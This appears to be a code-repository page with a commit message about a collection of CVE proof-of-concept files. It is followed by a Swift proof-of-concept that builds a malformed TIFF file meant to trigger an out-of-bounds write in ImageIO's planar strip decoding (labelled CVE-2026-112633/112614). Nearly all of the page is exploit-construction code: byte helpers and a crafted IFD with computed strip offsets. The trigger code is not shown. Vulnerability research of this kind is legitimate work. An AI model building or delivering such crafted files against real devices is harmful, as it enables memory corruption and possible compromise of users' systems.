- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
115 lines
4.8 KiB
Swift
115 lines
4.8 KiB
Swift
// iio.tiff.planar · ImageIO · decodeStripPlanar · CVE-2026-112633 / 112614
|
|
// TIFF planar scatter out-of-bounds write
|
|
import Foundation
|
|
|
|
// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
|
|
enum B {
|
|
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
|
|
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
|
|
static func be32(_ v: UInt32) -> [UInt8] {
|
|
[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
|
|
}
|
|
static func le32(_ v: UInt32) -> [UInt8] {
|
|
[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
|
|
}
|
|
static func be64(_ v: UInt64) -> [UInt8] {
|
|
(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
|
|
}
|
|
static func le64(_ v: UInt64) -> [UInt8] {
|
|
(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
|
|
}
|
|
static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
|
|
static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
|
|
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
|
|
}
|
|
|
|
|
|
// ── seed construction (from Cinder27 Sources: TIFFPayload) ──
|
|
enum TIFFPayload {
|
|
struct Entry {
|
|
let tag: UInt16
|
|
let type: UInt16
|
|
let count: UInt32
|
|
let value: [UInt8] // raw payload bytes (little-endian), inline if <= 4
|
|
}
|
|
|
|
static func build(entries: [Entry], blobs: [(tag: UInt16, bytes: [UInt8])]) -> Data {
|
|
let ifdOffset = 8
|
|
let ifdSize = 2 + entries.count * 12 + 4
|
|
var extraOffset = ifdOffset + ifdSize
|
|
if extraOffset % 2 == 1 { extraOffset += 1 }
|
|
|
|
var extra = Data()
|
|
var blobOffsets: [UInt16: UInt32] = [:]
|
|
for blob in blobs {
|
|
blobOffsets[blob.tag] = UInt32(extraOffset + extra.count)
|
|
extra.append(contentsOf: blob.bytes)
|
|
}
|
|
|
|
var out = Data()
|
|
out.append(contentsOf: [0x49, 0x49, 0x2A, 0x00])
|
|
out.append(contentsOf: B.le32(UInt32(ifdOffset)))
|
|
out.append(contentsOf: B.le16(UInt16(entries.count)))
|
|
for e in entries.sorted(by: { $0.tag < $1.tag }) {
|
|
out.append(contentsOf: B.le16(e.tag))
|
|
out.append(contentsOf: B.le16(e.type))
|
|
out.append(contentsOf: B.le32(e.count))
|
|
if e.value.count <= 4 {
|
|
var v = e.value
|
|
while v.count < 4 { v.append(0) }
|
|
out.append(contentsOf: v)
|
|
} else {
|
|
out.append(contentsOf: B.le32(blobOffsets[e.tag] ?? 0))
|
|
}
|
|
}
|
|
out.append(contentsOf: B.le32(0))
|
|
if out.count < extraOffset { out.append(contentsOf: [UInt8](repeating: 0, count: extraOffset - out.count)) }
|
|
out.append(extra)
|
|
return out
|
|
}
|
|
|
|
static func planarScatter(width: Int = 64, height: Int = 64, spp: Int = 4, photometric: UInt16 = 2) -> Data {
|
|
let bits: [UInt8] = (0..<spp).flatMap { _ in B.le16(8) }
|
|
let stripBytes = width * height
|
|
|
|
// Deterministic layout: IFD at 8, then BitsPerSample blob, then StripOffsets blob,
|
|
// then the plane data. Every offset below is computed, not patched.
|
|
let ifdOffset = 8
|
|
let ifdSize = 2 + 10 * 12 + 4
|
|
var extraOffset = ifdOffset + ifdSize
|
|
if extraOffset % 2 == 1 { extraOffset += 1 }
|
|
let bitsOffset = extraOffset
|
|
let offsetsBlobOffset = bitsOffset + bits.count
|
|
let stripBase = offsetsBlobOffset + spp * 4
|
|
|
|
var stripOffsets: [UInt8] = []
|
|
for i in 0..<spp { stripOffsets += B.le32(UInt32(stripBase + i * stripBytes)) }
|
|
|
|
let entries: [Entry] = [
|
|
Entry(tag: 256, type: 4, count: 1, value: B.le32(UInt32(width))),
|
|
Entry(tag: 257, type: 4, count: 1, value: B.le32(UInt32(height))),
|
|
Entry(tag: 258, type: 3, count: UInt32(spp), value: bits),
|
|
Entry(tag: 259, type: 3, count: 1, value: B.le16(1)),
|
|
Entry(tag: 262, type: 3, count: 1, value: B.le16(photometric)),
|
|
Entry(tag: 273, type: 4, count: UInt32(spp), value: stripOffsets),
|
|
Entry(tag: 277, type: 3, count: 1, value: B.le16(UInt16(spp))),
|
|
Entry(tag: 278, type: 4, count: 1, value: B.le32(UInt32(height))),
|
|
Entry(tag: 279, type: 4, count: UInt32(spp), value: (0..<spp).flatMap { _ in B.le32(UInt32(stripBytes)) }),
|
|
Entry(tag: 284, type: 3, count: 1, value: B.le16(2)),
|
|
]
|
|
|
|
var data = build(entries: entries, blobs: [(258, bits), (273, stripOffsets)])
|
|
// pad to the computed strip base in case the builder aligned differently
|
|
if data.count < stripBase {
|
|
data.append(contentsOf: [UInt8](repeating: 0, count: stripBase - data.count))
|
|
}
|
|
for plane in 0..<spp {
|
|
data.append(contentsOf: [UInt8](repeating: UInt8(0x40 + plane * 0x20), count: stripBytes))
|
|
}
|
|
return data
|
|
}
|
|
|
|
}
|
|
|
|
|